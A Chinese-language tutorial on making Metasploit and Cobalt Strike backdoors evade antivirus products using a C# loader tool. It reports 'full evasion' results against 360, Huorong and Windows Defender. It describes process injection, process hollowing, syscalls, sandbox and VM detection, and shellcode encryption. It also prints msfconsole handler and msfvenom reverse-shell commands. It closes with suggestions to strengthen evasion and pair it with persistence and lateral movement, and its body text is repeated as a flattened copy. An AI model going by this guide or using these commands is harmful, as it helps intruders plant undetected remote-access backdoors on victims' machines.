渗透测试之地基免杀篇:C#加载msf和CS后门免杀过所有杀软
字数 2321 2025-08-15 21:33:42

C#加载MSF和CS后门免杀技术详解

一、环境准备

1. 攻击者环境

  • 系统: Kali Linux 2020.4
  • IP: 192.168.175.145
  • 工具: MSF (Metasploit Framework)

2. 目标环境

  • 系统: Windows 10
  • 防护软件: 360安全卫士、360杀毒、火绒、Windows Defender
  • IP: 192.168.2.142

3. 开发环境

  • 系统: Windows Server 2019
  • 编译器: TDM-GCC 9.2.0
  • 开发工具: Visual Studio 2019

二、工具安装与配置

1. 安装GCC环境

  1. 下载TDM-GCC安装包: https://github.com/jmeubank/tdm-gcc/releases
  2. 选择版本: v9.2.0-tdm64-1
  3. 安装选项: 选择"Create"模式,默认安装路径

2. 下载AV_Evasion_Tool

  1. 项目地址: https://github.com/dayuxiyou/AV_Evasion_Tool
  2. 下载2.0和3.0版本
  3. 使用Visual Studio 2019打开.sln文件

三、掩日2.0版本使用

1. 基本功能

  • 支持32/64位系统
  • 支持C和C#语言的shellcode编译
  • 4种执行方式
  • 注入进程默认为notepad.exe
  • 简单沙箱绕过功能

2. MSF后门生成与测试

  1. 在掩日2.0界面输入监听IP和端口
  2. 点击生成按钮创建后门
  3. Kali启动MSF监听:
msfconsole -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set lhost 192.168.175.2; set lport 4444; exploit -j;"
  1. 测试结果: 全免杀(360、火绒、Defender)

3. C# shellcode免杀测试

  1. 生成C# shellcode后门
  2. 测试结果:
    • 360和Defender免杀
    • 火绒检测并拦截

四、掩日3.0版本使用

1. 增强功能

  • 支持32/64位系统
  • 3种生成格式
  • 支持MSF、C和C# shellcode编译
  • 7种执行方式
  • 可自定义注入进程
  • 隐藏执行界面选项
  • 增强沙箱绕过能力

2. 免杀技术演示

a) 直接执行方式

  1. VirtualAlloc/VirtualProtect

    • VirtualAlloc: 申请内存空间
    • VirtualProtect: 修改内存保护属性
    • 测试结果: 全免杀
  2. SYSCALL方式

    • 使用内核系统调用
    • 测试结果: 全免杀
    • 可修改PID为powershell.exe

b) 新进程注入

  1. VirtualAllocEx
    • 在指定进程虚拟空间分配内存
    • 测试结果:
      • 火绒检测
      • 360和Defender免杀

c) 进程镂空(Process Hollowing)

  1. 绕过检测机制
  2. 测试结果: 全免杀

五、MSF shellcode生成命令

# C格式
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -f c

# C#格式
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -f csharp

六、源码分析

1. 掩日2.0关键文件

a) C_Template.cs

  • GetProcAddress注入方式
  • 动态申请内存
  • 强制类型转换函数指针
  • 嵌入式汇编执行shellcode
  • 注入到新进程PID
  • 延时绕沙箱
  • 检查注册表和文件绕虚拟机

b) Common.cs

  • 混淆随机字符串
  • 通过cmd执行shellcode

c) Core.cs

  • 图形化界面切换代码
  • 使用gcc的lws2_32模块生成exe
  • 处理shellcode为C#格式

d) CS_Template.cs

  • 三种注入方式:
    • GetProcAddress
    • VirtualProtect
    • syscall注入
  • 沙箱绕过机制
  • 自启动代码

e) Form1.cs

  • 图形化界面设计
  • 可扩展修改

2. 掩日3.0新增功能

a) DotNetToJScript.cs

  • 引导.NET程序集和JScript类型
  • 创建对象执行交互

b) Encrypter.cs

  • shellcode加密函数

c) Global_Var.cs

  • 新增类似VPS功能
  • HTTP服务分离免杀

d) 11种TP注入源码

  • 将注入方式模块化
  • 包括:
    • TP_ProcessHollowing.cs
    • TP_Syscall.cs
    • TP_VirtualAlloc.cs
    • 等11种注入方式

七、免杀技术要点总结

  1. 内存操作技术:

    • VirtualAlloc/VirtualAllocEx内存分配
    • VirtualProtect内存属性修改
    • 嵌入式汇编执行
  2. 注入技术:

    • 进程注入(notepad.exe/powershell.exe)
    • 进程镂空(Process Hollowing)
    • SYSCALL系统调用
  3. 混淆技术:

    • 随机字符串混淆
    • shellcode加密
    • 多态代码生成
  4. 反检测技术:

    • 延时执行绕过沙箱
    • 注册表和文件检查绕过虚拟机
    • 隐藏执行界面
  5. 分离技术:

    • HTTP服务分离下载
    • 多阶段加载

八、开发建议

  1. 图形界面扩展:

    • 基于Form1.cs添加新功能
    • 优化用户体验
  2. 注入机制扩展:

    • 研究新注入技术
    • 添加到TP系列文件中
  3. 混淆增强:

    • 增加更多加密算法
    • 动态混淆技术
  4. 反检测增强:

    • 更智能的沙箱检测
    • 行为模拟技术
  5. 多语言支持:

    • 添加其他语言编译支持
    • 如Python、Go等

九、实战注意事项

  1. 测试时确保在合法环境
  2. 不同杀软版本可能有不同检测结果
  3. 定期更新免杀技术对抗杀软升级
  4. 内网渗透时注意行为隐蔽性
  5. 结合其他技术如权限维持、横向移动

十、总结

本教程详细介绍了基于C#的MSF和CS后门免杀技术,从环境搭建、工具使用到源码分析,涵盖了当前有效的多种免杀技术。关键在于理解内存操作、注入技术和混淆技术的原理,并能够根据实际情况进行调整和创新。随着安全防护技术的不断升级,免杀技术也需要持续演进,建议保持学习和研究最新的系统底层技术和安全防护机制。

C#加载MSF和CS后门免杀技术详解 一、环境准备 1. 攻击者环境 系统 : Kali Linux 2020.4 IP : 192.168.175.145 工具 : MSF (Metasploit Framework) 2. 目标环境 系统 : Windows 10 防护软件 : 360安全卫士、360杀毒、火绒、Windows Defender IP : 192.168.2.142 3. 开发环境 系统 : Windows Server 2019 编译器 : TDM-GCC 9.2.0 开发工具 : Visual Studio 2019 二、工具安装与配置 1. 安装GCC环境 下载TDM-GCC安装包: https://github.com/jmeubank/tdm-gcc/releases 选择版本: v9.2.0-tdm64-1 安装选项: 选择"Create"模式,默认安装路径 2. 下载AV_ Evasion_ Tool 项目地址: https://github.com/dayuxiyou/AV_ Evasion_ Tool 下载2.0和3.0版本 使用Visual Studio 2019打开.sln文件 三、掩日2.0版本使用 1. 基本功能 支持32/64位系统 支持C和C#语言的shellcode编译 4种执行方式 注入进程默认为notepad.exe 简单沙箱绕过功能 2. MSF后门生成与测试 在掩日2.0界面输入监听IP和端口 点击生成按钮创建后门 Kali启动MSF监听: 测试结果: 全免杀(360、火绒、Defender) 3. C# shellcode免杀测试 生成C# shellcode后门 测试结果: 360和Defender免杀 火绒检测并拦截 四、掩日3.0版本使用 1. 增强功能 支持32/64位系统 3种生成格式 支持MSF、C和C# shellcode编译 7种执行方式 可自定义注入进程 隐藏执行界面选项 增强沙箱绕过能力 2. 免杀技术演示 a) 直接执行方式 VirtualAlloc/VirtualProtect VirtualAlloc: 申请内存空间 VirtualProtect: 修改内存保护属性 测试结果: 全免杀 SYSCALL方式 使用内核系统调用 测试结果: 全免杀 可修改PID为powershell.exe b) 新进程注入 VirtualAllocEx 在指定进程虚拟空间分配内存 测试结果: 火绒检测 360和Defender免杀 c) 进程镂空(Process Hollowing) 绕过检测机制 测试结果: 全免杀 五、MSF shellcode生成命令 六、源码分析 1. 掩日2.0关键文件 a) C_ Template.cs GetProcAddress注入方式 动态申请内存 强制类型转换函数指针 嵌入式汇编执行shellcode 注入到新进程PID 延时绕沙箱 检查注册表和文件绕虚拟机 b) Common.cs 混淆随机字符串 通过cmd执行shellcode c) Core.cs 图形化界面切换代码 使用gcc的lws2_ 32模块生成exe 处理shellcode为C#格式 d) CS_ Template.cs 三种注入方式: GetProcAddress VirtualProtect syscall注入 沙箱绕过机制 自启动代码 e) Form1.cs 图形化界面设计 可扩展修改 2. 掩日3.0新增功能 a) DotNetToJScript.cs 引导.NET程序集和JScript类型 创建对象执行交互 b) Encrypter.cs shellcode加密函数 c) Global_ Var.cs 新增类似VPS功能 HTTP服务分离免杀 d) 11种TP注入源码 将注入方式模块化 包括: TP_ ProcessHollowing.cs TP_ Syscall.cs TP_ VirtualAlloc.cs 等11种注入方式 七、免杀技术要点总结 内存操作技术 : VirtualAlloc/VirtualAllocEx内存分配 VirtualProtect内存属性修改 嵌入式汇编执行 注入技术 : 进程注入(notepad.exe/powershell.exe) 进程镂空(Process Hollowing) SYSCALL系统调用 混淆技术 : 随机字符串混淆 shellcode加密 多态代码生成 反检测技术 : 延时执行绕过沙箱 注册表和文件检查绕过虚拟机 隐藏执行界面 分离技术 : HTTP服务分离下载 多阶段加载 八、开发建议 图形界面扩展 : 基于Form1.cs添加新功能 优化用户体验 注入机制扩展 : 研究新注入技术 添加到TP系列文件中 混淆增强 : 增加更多加密算法 动态混淆技术 反检测增强 : 更智能的沙箱检测 行为模拟技术 多语言支持 : 添加其他语言编译支持 如Python、Go等 九、实战注意事项 测试时确保在合法环境 不同杀软版本可能有不同检测结果 定期更新免杀技术对抗杀软升级 内网渗透时注意行为隐蔽性 结合其他技术如权限维持、横向移动 十、总结 本教程详细介绍了基于C#的MSF和CS后门免杀技术,从环境搭建、工具使用到源码分析,涵盖了当前有效的多种免杀技术。关键在于理解内存操作、注入技术和混淆技术的原理,并能够根据实际情况进行调整和创新。随着安全防护技术的不断升级,免杀技术也需要持续演进,建议保持学习和研究最新的系统底层技术和安全防护机制。